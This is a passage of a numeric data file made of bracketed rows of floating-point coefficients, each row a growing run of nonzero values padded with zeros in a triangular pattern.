0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.36192, -1.56137, -1.14496, 0.2533, 0.16603, 0.01945, 1.70861, -0.26862, -0.44614, -0.62002, -0.63326, 0.69646, 1.06822, -0.39393, 1.14788, 0.10704, -1.40511, -0.39773, 0.93595, 1.64739, -1.10399, -2.51816, -0.1398, 1.02446, 1.02696, 1.31443, 1.56887, -1.17371, -0.75511, 1.90433, -0.35952, -1.65251, -2.65494, -0.7146, 0.6363, -1.49498, -0.96835, -0.18692, 0.71832, 0.92522, 0.88639, -0.62917, 0.15831, -0.1334, -0.28006, -0.33869, 1.10505, 0.12711, -0.46737, -0.42516, 1.31341, -0.22825, -0.41514, -1.02207, -0.92662, -1.33584, 0.70129, 0.6096, 0.69208, -0.74366, -0.76838, 0.51409, -0.91422, 0.02268, 1.00944, 0.26616, 0.40634, 0.46004, -1.29232, -0.08835, 0.48473, 0.89297, -0.39915, -1.11138, -0.98751, 0.58053, 0.84401, 0.01076, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.50189, -1.18929, 1.00148, 0.21315, -0.1826, 0.42258, -0.24018, -0.93716, 0.34888, 0.7173, 1.06741, 0.3317, -0.66413, -0.2389, -0.2938, -0.50032, 1.4548, 1.2118, -1.67044, -3.06816, -1.0108, 1.53683, 1.58448, 0.54862, -0.94624, -2.07963, -1.96308, 0.71518, 1.78192, 0.37728, -0.06134, 1.11533, 2.10391, 0.41769, -1.18564, 0.22576, 2.36813, 0.70014, -1.07507, -0.96069, -1.03396, 0.03261, -0.23909, 0.49696, -0.22115, 0.85675, -0.41096, 0.70477, -0.21305, 0.74722, -1.03378, 0.03732, 1.15461, 1.19896, 0.96155, -0.20295, 1.15794, -0.24624, 0.12251, 0.19013, -0.21066, -0.32789, 0.63047, 0.43415, 0.52638, -0.08576, -1.46688, 0.57714, 1.41285, 0.37544, -0.84148, -1.84176, -0.42043, 0.73068, 0.13067, 0.27804, 0.01376, 0.17663, 0.23741, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.43726, 1.72012, -0.87942, -0.35803, -0.00036, -0.84464, -0.23981, 1.13857, 0.5204, 0.50261, -0.54229, -1.80989, 0.5448, 0.22405, -0.54464, 0.39027, 0.14979, -1.05265, -0.14501, 1.35795, 1.64541, -0.22385, -1.33585, -1.19667, 0.03244, 1.4566, 2.47698, 1.69546, -0.73082, -1.29972, 1.06538, -0.08187, -1.73853, -1.92165, -0.38265, 0.06329, -1.94186, -0.61608, -0.07185, 0.14539, 0.91696, 1.48782, 0.48528, -0.9009, -0.24322, -0.07226, -0.79375, -0.56411, 0.16384, -0.12122, -0.86064, -0.15043, -0.56631, 0.08809, -0.23585, 0.13381, -0.76302, -0.73948, 0.55857, 0.45787, -1.08925, -0.88456, 0.23113, -0.85651, -0.73565, -0.01477, 0.68251, -0.10054, -0.32477, -0.66831, -0.43196, 0.86112, 0.34817, -0.61317, -1.07133, -0.32753, 0.51897, 0.44232, 0.43842, 0.64148, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.36665, -2.53331, 0.22003, 0.20293, -0.12326, 0.61383, 1.02724, -1.35518, -1.04622, -0.83483, -0.06308, 1.09691, 1.12961, -0.16508, -0.12072, -0.21872, -1.22326, 0.45694, 1.89662, 0.55928, -1.43468, -1.21298, 0.54556, 0.60363, 0.69715, 0.27562, -2.25995, -2.92296, -0.13461, 1.17395, -0.76475, -0.16432, 2.45027, 3.33069, 1.44564, -0.83624, 0.49503, 1.2841, -0.03102, -0.91066, -0.07127, -0.60203, -0.79824, -0.20693, 0.56959, -0.0241, 1.56849, 0.58083, 0.86233, 0.70064, 1.57956, 0.14312, -0.00151, 0.11791, 1.18747, -0.54996, 0.11509, 0.48591, 0.33583, -0.06234, 0.11973, 0.25772, -0.07014, 0.67578, 1.01131, 0.67895, 0.46852, -0.63173, 0.58289, 1.25318, 0.05603, -1.02843, -0.30152, -0.55811, -0.65792, -1.41682, -0.08273, 0.35752, -0.90216, -0.77106, -0.35267, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.61968, -0.10035, 1.35145, -0.77767, 0.44009, 0.26121, -1.26743, -0.48633, 0.62521, 0.4861, 0.90186, -0.21605, -0.67761, 0.27105, 0.1464, 0.09209, 0.36138, 0.12152, -0.81891, -1.3457, -0.02023, 0.77693, 0.1415, -0.91757, -1.40497, -1.23096, 1.28533, 3.56283, 1.23128, 0.46662, 0.77079, 0.56138, -0.74782, -2.9602, -2.2315, 0.34058, -0.10113, -1.35481, -0.25606, 0.68417, -0.26096, -0.05364, 1.15183, 1.63284, -0.73083, -1.36952, -1.33947, -0.44288, -1.85389, -0.45118, -0.5403, -0.76556, -1.25324, -0.88912, -0.19637, -0.02497, 1.35845, -0.21752, -0.29269, -0.49894, 0.19555, -0.52236, -1.86109, -0.21947, 0.41804, -0.22108, -0.57525, -0.00474, -0.12225, 0.8718, 0.11052, 0.1293, -0.14487, -0.20284, 0.33903, 0.56405, -0.41881, 0.03758, 1.22053, 0.47858, 0.11175, -0.27161, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.97128, 1.34455, -1.5201, -0.17879, 0.01521, -0.79597, 0.72588, 1.68978, -0.18644, -0.33175, -0.83831, -0.91023, 0.76249, 0.57053, 0.37258, 0.40027, 0.73872, -0.56388, -1.15542, 0.01489, 0.84106, -0.07787, -0.43824, 0.54945, 0.9775, 0.84358, 0.76309, -1.2479, -2.04791, -0.17338, -0.23381, -1.17696, -0.85468, 1.90021, 2.98136, 1.59383, -0.08215, 0.83267, 0.87323, -0.53032, -1.5379, 0.11732, -0.09345, -0.85323, -0.60872, 0.4673, -0.0654, 0.35491, 1.12357, 0.60231, 0.54685, 1.65954, 1.58706, 0.94757, -0.38228, -0.01807, -1.10141, -2.0857, -0.07512, -0.29965, -0.04268, -0.09251, 0.42792, -0.61042, 0.32974, 0.36656, 0.64713, 1.18098, 1.07518, -0.45524, 1.03922, 0.02802, -0.42981, -0.31782, -0.09728, -0.77952, -0.67333, -0.43981, -0.24549, 0.5543, -0.96882, -0.82108, -0.5102, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.34592, -2.55972, 0.33529, 0.62739, -0.32025, 0.9492, 0.33236, -1.73236, 0.05512, 0.25008, 0.0215, 0.23564, -0.12059, -0.64706, -0.24619, -0.64211, -0.4057, 0.23186, 1.15274, -0.00199, -0.73114, 0.24458, 0.25445, 0.1128, -0.62947, -0.6621, -1.29914, -0.08177, 2.56637, 0.12907, 0.42461, 2.01889, 1.81172, -0.1851, -1.87905, -2.02063, -0.23341, -0.14326, -0.53726, -0.12139, 1.44634, 0.36964, -0.38845, 0.04682, 1.81776, 0.54651, -0.32421, -0.6138, -0.72034, -1.33904, -1.63724, -1.21463, -0.77421, -1.36574, -0.12324, -0.23498, 0.48133, 0.7781, 0.41294, -0.24813, -0.68684, 0.05689, 0.16448, -0.46146, -0.44988, -0.94069, 0.42602, 0.13087, -0.85623, -0.52727, 0.17965, 0.55406, 0.60067, -0.21203, 0.02072, 0.23035, 0.03724, 1.26176, 0.57728, -0.44483, -0.21836, 0.34994, 0.16215, -1.28533, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.18508, 0.71967, 1.25413, -0.4861, 0.19802, -0.13888, -0.59558, 0.09916, 0.55992, -0.37963, 0.55366, 0.27637, 0.27202, -0.26292, -0.81386, 0.69454, 0.57728, 1.19939, 0.22656, -1.2524, -0.30998, -0.04081, 0.0571, -0.11891, 0.81915, 0.50338, -0.1422, 0.23383, -1.05902, -0.87172, -0.50617, -0.9486, -1.45047, -0.80039, 1.25223, 2.21776, 1.0481, 0.40574, 0.32517, -0.22823, -0.14564, -0.65396, -0.39311, 0.09617, -0.51645, -0.98947, -0.29099, 0.1046, 0.39876, 0.76404, 0.73792, -0.02845, 0.7604, 1.05174, 1.14682, -0.08964, 0.8431, -0.57799, -0.6661, -1.3799, -0.27871, -0.41463, 0.00491, 0.29994, -0.31899, 0.07643, -0.51086, -0.54588, 0.83392, 0.93759, 0.87559, 1.11548, -0.10345, -0.53257, -0.00038, 0.06426, 0.03314, -0.84911, -0.56942, 0.28226, 0.28857, -0.69313, 0.14084, 1.07227, 0.1685, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.10258, -0.51143, -1.88765, -0.28618, -0.22565, -0.49888, 0.82536, 0.46514, -0.53459, 0.21482, 0.29064, -0.73323, 0.36535, 0.68133, 1.06421, -0.15419, -1.12709, -1.24091, -0.53892, 1.04016, 0.19653, -0.41903, -0.45056, -0.24987, -0.99985, -0.56276, 0.574, 0.28642, 0.38603, 1.35288, 0.23649, 0.85546, 1.80359, 1.66351, -0.50083, -1.04931, -1.24545, -0.58617, -0.57085, 0.57372, -0.15967, 0.71468, 0.16172, 0.46452, -0.17924, 0.77432, 0.0244, 0.05089, 0.12386, 0.3822, 0.02761, -0.20993, -0.45658, -0.46087, -1.45781, -0.71553, -0.25422, 0.10518, 1.3088, 0.6715, 0.19039, 0.52741, 0.33911, -0.07298, 0.40653, -0.34707, 0.03893, 0.45088, -0.59495, -1.06337, -0.82606, -0.70017, 0.65278, 0.07318, 0.30786, -0.36489, 0.54559, 0.61538, 0.4853, 0.52792, -0.51461, -0.79855, -1.08732, 0.11203, -0.52723, -0.16661, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.20165, -1.5767, 1.17984, 0.04353, 0.23551, 0.19729, -0.0459, -0.09389, 0.10525, -0.20378, -0.72201, 0.06319, 0.47292, 0.07131, -1.12009, -0.88005, 1.18276, 0.99321, 0.35242, -0.31585, -0.66553, -0.15374, -0.18006, -0.30029, 0.41932, 1.03852, 0.86074, -0.3315, -0.31697, -1.15048, 0.23104, -0.20656, -1.15325, -1.45873, -0.28801, 1.00837, 1.79721, 0.65021, 0.72019, -0.35287, -0.91713, -0.73847, 0.1667, -0.36687, -0.10532, 0.00974, 0.24314, 0.06443, 0.35604, -0.58922, 0.055, 0.6017, 0.48154, 0.43531, 0.10396, 0.33409, 0.20653, -0.3931, 0.23856, 0.24647, 0.47857, -0.55331, -0.05977, 0.07707, -0.22563, 0.27837, -0.00537, -0.12138, 0.74649, 0.19169, -0.05069, 0.05075, 0.29252, 0.15842, -0.06756, 0.14082, 0.20652, -0.41646, -0.32809, -0.10407, 0.86934, 0.66058, 0.65414, 0.34673, 0.46503, 0.95946, 0.63353, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.75882, 0.82879, 0.02113, -0.40595, 0.20284, 0.06288, -0.41569, -0.72313, -0.07878, 0.27069, 0.14968, -0.30125, -0.75826, -0.61662, 0.70612, 1.72201, 0.08714, -0.79473, -0.62323, -0.97013, 0.68947, 1.1442, 0.79958, 0.17411, -0.7324, -1.92545, -1.737, -0.13741, 0.06091, 0.39257, -0.1915, -0.12719, 0.55889, 2.01913, 1.45104, -0.89046, -1.3439, 0.00106, 0.31365, -0.31849, 1.36449, 1.05777, 0.48914, 0.26369, 0.33633, 0.25392, 0.70631, -0.85693, -0.37149, 0.12603, 0.66474, 0.41508, 0.0662, -0.33958, 0.78255, 0.06947, 0.26168, -0.64362, 0.51933, 0.49646, 0.61706, 0.07825, 0.99146, 0.27383, 0.1075, -0.71822, -0.52651, -0.46082, 0.07694, 0.0131, -0.50211, -0.30767, -1.01507, -0.42737, -0.21765, -0.35861, 0.17639, 0.19782, 0.34237, 0.25399, 0.15129, -1.12024, -0.2378, -0.18162, -0.07551, -0.61722, 0.4115, 0.74511, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.36551, -1.40392, -0.15785, 0.38883, -0.58717, 0.06094, 0.51656, 0.64257, 0.50671, -0.63605, -0.20263, 0.36563, 1.15328, 0.86051, -0.16275, -1.24898, -0.60661, 1.3866, 0.89769, 0.65152, -0.27475, -0.93982, -1.06022, -0.60798, 0.0149, 0.8549, 1.40902, 0.92389, 0.12861, -0.37945, -1.16854, 0.35452, -0.37712, -1.0247, -1.07226, -0.08644, 1.13034, 1.38662, -0.36352, 0.11959, -0.19764, -0.67434, -1.01967, -0.22767, -0.64254, -0.10277, -0.67931, 0.88707, 0.38084, 0.84239, -0.18984, -0.65964, -0.20417, 0.14332, 0.3321, -0.51129, 0.03915, 0.46208, 0.18707, -0.79426, 0.46468, 0.90044, 0.66977, -0.17814, -0.06118, 0.1261, 0.22408, -0.33857, 0.15849, 0.80286, 0.18611, 0.18005, 0.68623, 0.00243, -0.51585, 0.37912, 0.65738, -0.04302, -0.59897, -0.53954, -0.25882, 0.38674, 0.12124, 1.13256, -0.22425, 0.55825, -0.27619, -0.74689, 0.16652, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.09159, 0.08257, 0.02801, -0.72101, 0.31715, 0.28294, 0.07544, -0.15051, -1.00476, 0.52625, 0.88151, -0.83851, -0.81813, -0.61326, -0.36005, 0.91651, 0.65951, -0.68005, -0.26272, -0.77795, -0.77223, -0.40349, 1.03277, 1.38414, 0.60678, -0.09123, -1.43343, -1.64556, -0.24024, 0.17421, 1.25976, -0.27065, -0.0692, 0.14023, 1.21023, 1.4888, -0.8216, -1.29788, -0.28103, 0.49868, 0.11407, 0.42117, 1.43002, 0.76452, 0.51844, 0.12374, 0.70858, 0.05685, -0.24061, -0.76005, -0.11757, 0.17499, 0.57795, 0.50077, -0.8324, 0.16034, 0.26802, 0.29849, -0.25691, 0.50351, 0.86906, -0.63809, -0.48177, 0.65802, 0.92104, -0.23566, -0.51726, 0.21277, -0.11383, -0.94025, -0.29184, -0.70715, -0.56113, -0.35824, 0.23275, -0.27852, -0.41262, 0.11365, -0.37685, 0.41413, -0.10941, -0.28004, -0.23407, -0.52544, 0.80223, 0.43759, 0.08737, 0.03787, -0.08361, -0.28992, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.73955, -0.92892, 0.10001, 0.8335, -0.16809, -0.22175, -0.24804, 0.12408, 1.30473, 0.04953, -1.48906, -0.42741, 1.21386, 0.80553, 0.33132, -0.42857, -0.37064, 0.44209, 0.50835, 0.42081, 1.13019, 1.26867, -0.25394, -0.93017, -0.70207, 0.17265, 0.72039, 0.65232, 0.25619, 0.13818, -0.14721, -0.47657, -0.13634, -0.55528, -0.65646, -0.7779, 0.17489, 1.02192, 1.11868, -0.27086, -0.53234, -0.91323, -0.12483, -0.6379, -0.12881, -0.31071, -0.24491, -0.99452, 0.34017, -0.15547, 0.81155, 0.5894, -0.1874, -0.87162, 0.30262, 0.09425, 0.27584, -1.04376, 0.39524, 0.15028, 0.1597, -0.24752, 0.77768, -0.31797, -0.34135, -0.00407, 0.3421, -0.9373, -0.60421, 0.26232, 0.09191, 0.44507, -0.42307, -0.12758, 0.06333, 0.68957, -0.15036, 0.00043, 0.82293, -0.23735, -0.53653, 0.54584, 0.20534, -0.03336, 0.41212, 0.18119, -0.68775, -0.78737, -0.0578, -0.0282, -0.31063, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.41014, 0.31801, -0.0551, -0.98751, -0.39936, 0.77433, 0.29654, -0.39486, -0.602, -0.42209, 1.2342, 1.09008, -0.99005, -0.9866, -0.39628, 0.50348, 0.90781, -0.48568, -0.18993, 0.49523, -0.37988, -1.04027, -1.12922, 0.1534, 0.64549, -0.04622, -0.07031, -0.27924, -0.8684, -0.85144, -0.5652, 1.10867, 0.07206, 1.0746, 0.0853, -0.06178, 0.37609, -0.55847, -0.75376, 0.0616, 0.61465, 0.83764, -0.02608, 0.48007, 0.25263, 0.46821, 0.26504, 1.10857, -0.19883, -0.25777, -0.59367, -0.44371, -0.15216, 0.8841, 0.6309, -0.57075, -0.43469, 0.49222, -0.09268, -1.20688, 0.08891, 0.95432, 0.30224, -0.86929, 0.29198, 0.04437, 0.13521, 0.10115, 0.7252, 0.47428, -0.56815, -0.28923, -0.08181, -0.19301, 0.07281, -0.32798, 0.58288, 0.47384, -0.31704, -0.21962, -0.0589, 0.04368, -0.06909, -0.09854, -0.06733, 0.41424, 0.0431, -0.11358, 0.22882, 0.02606, -0.3858, -0.39367, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.5085, -1.45606, -0.74452, 0.66344, 0.59981, -0.91835, -0.30826, 0.28913, 0.30071, 0.79823, -0.67159, -1.86118, 0.61803, 1.48455, 0.33164, -0.78871, -1.10182, 0.96396, 0.75611, -0.81031, -0.58948, 0.84831, 1.39364, -0.07597, -0.30654, 0.21766, 0.59667, 0.649, 0.80597, 0.25287, 0.49486, -0.31271, 0.0245, -0.34511, -0.9385, -0.15694, 0.07513, 0.28521, 0.39918, 0.42376, 0.05681, -0.4545, -0.56877, -0.53917, -0.29727, -0.34019, -0.42529, -0.03268, -0.04926, -0.04923, -0.03502, 0.13173, 0.4112, -0.14983, -1.12654, -0.39506, 0.48139, 0.37984, -0.9325, -0.24284, 0.45716, -0.06478, -0.40253, 0.31851, 0.19888, -0.64551, 0.08985, -0.25185, -0.44561, -0.40348, 0.56332, 0.12189, 0.1762, -0.38415, -0.29668, 0.19133, -0.51475, -0.45446, -0.17597, 0.50157, -0.32083, -0.08111, -0.2758, -0.1349, 0.12901, 0.43329, 0.73342, -0.0387, -0.17242, 0.75047, 0.67277, 0.17658, 0.51387, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.13976, 0.5748, 1.24461, -0.83109, -1.13914, 0.20943, 0.92654, 0.33677, -0.63139, -1.00294, 0.08717, 1.09015, 0.80317, -1.14209, -0.67007, 0.53367, 1.11108, -0.41883, -1.39762, -0.222, 1.07147, 0.07793, -0.60293, -0.07102, 0.21, -0.53833, -1.06594, -0.34522, 0.33114, -0.2168, -0.92696, -0.69119, -0.29865, -0.19998, 1.25424, 0.6695, -0.13644, -0.04727, -0.58597, -0.24068, 0.13855, 0.35885, 0.96503, -0.32979, 0.42121, 0.26608, 0.32614, -0.31589, 0.86, -0.23128, 0.27591, 0.1689, 0.02999, -0.10263, 1.06731, 0.8917, 0.33825, -0.23084, 0.72482, -0.06095, -0.99184, -0.78957, 0.15986, -0.24803, 0.13665, -0.37514, 0.06574, 0.15712, 0.20695, 0.36666, 0.37008, -0.05727, 0.06352, 0.40379, 0.11138, 0.01575, 0.38095, 0.41711, 0.26452, 0.22572, -0.08655, 0.25201, 0.02471, 0.11443, 0.18782, -0.34621, -0.04611, -0.0613, -0.16192, 0.09376, 0.68481, 0.11058, 0.326, 0.12079, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.18323, -0.30175, -1.12975, -0.30667, 1.06785, 0.49076, -1.19637, -0.67685, 0.74935, 0.79872, 0.51927, -1.03674, -1.24821, 1.10075, 1.15362, 0.07593, -1.20592, -0.10178, 1.4351, 0.59563, -1.04752, -0.75028, 0.01945, 0.24471, -0.57646, 0.15125, 0.73668, 0.21539, -0.39538, -0.11857, 0.27064, 0.53715, -0.12907, 0.2641, -0.43825, -0.79864, -0.25964, 0.18015, 0.45184, -0.00428, -0.29583, -0.2078, -0.35822, -0.04024, 0.04592, -0.22266, -0.0544, 0.18703, 0.03955, 0.21266, -0.45879, -0.474, -0.44781, -0.08586, -0.3474, -1.16829, -0.86439, 0.05724, 0.26768, -0.65222, -0.22407, 0.0066, 0.55205, -0.22115, 0.06525, -0.32794, -0.18487, -0.12494, 0.37467, -0.25597, -0.033, 0.55563, 0.10543, 0.44362, 0.31263, 0.22721, 0.23329, -0.18791, 0.1579, -0.31193, -0.20694, -0.05465, -0.11321, 0.42175, -0.13581, -0.49261, 0.0971, 0.7146, 0.26369, -0.13322, 0.55922, 0.41457, 0.38727, 0.50876, 0.00245, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.32831, -0.6448, 0.80866, 0.38428, -0.73023, -0.8611, 0.15492, 0.73084, -0.25884, -0.6375, -0.46897, 0.40716, 0.84934, -0.36404, -1.3248, 0.05214, 1.47621, 0.66968, -0.78135, -1.12988, 0.05449, 0.79778, 0.05052, -0.47188, 1.10626, 0.43038, -0.39436, -1.02348, -0.20329, 1.09018, 0.4636, -0.22181, 0.0631, -0.16641, -0.50346, 0.29904, 0.41408, 0.13935, -0.16668, -0.01398, 0.00847, 0.41036, 0.34075, 0.25308, -0.51297, 0.06961, 0.4866, 0.08878, -0.489, 0.03054, 0.35077, 0.44329, 0.73728, 0.60745, 0.17015, 0.56595, 0.44923, 0.17486, -0.13613, 0.73479, 0.22393, 0.38114, -0.3595, -0.25829, -0.10724, 0.04545, 0.48419, -0.57664, -0.23835, 0.05469, 0.39996, -0.01191, 0.28102, 0.03918, 0.02794, 0.04859, 0.12788, 0.16341, -0.19878, 1.01008, 0.49149, -0.09828, -0.34586, 0.17096, -0.42267, 0.0595, -0.32253, -0.50802, -0.2973, -0.11552, -0.14505, 0.24887, 0.35239, 0.38587, 0.59171, 0.60377, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
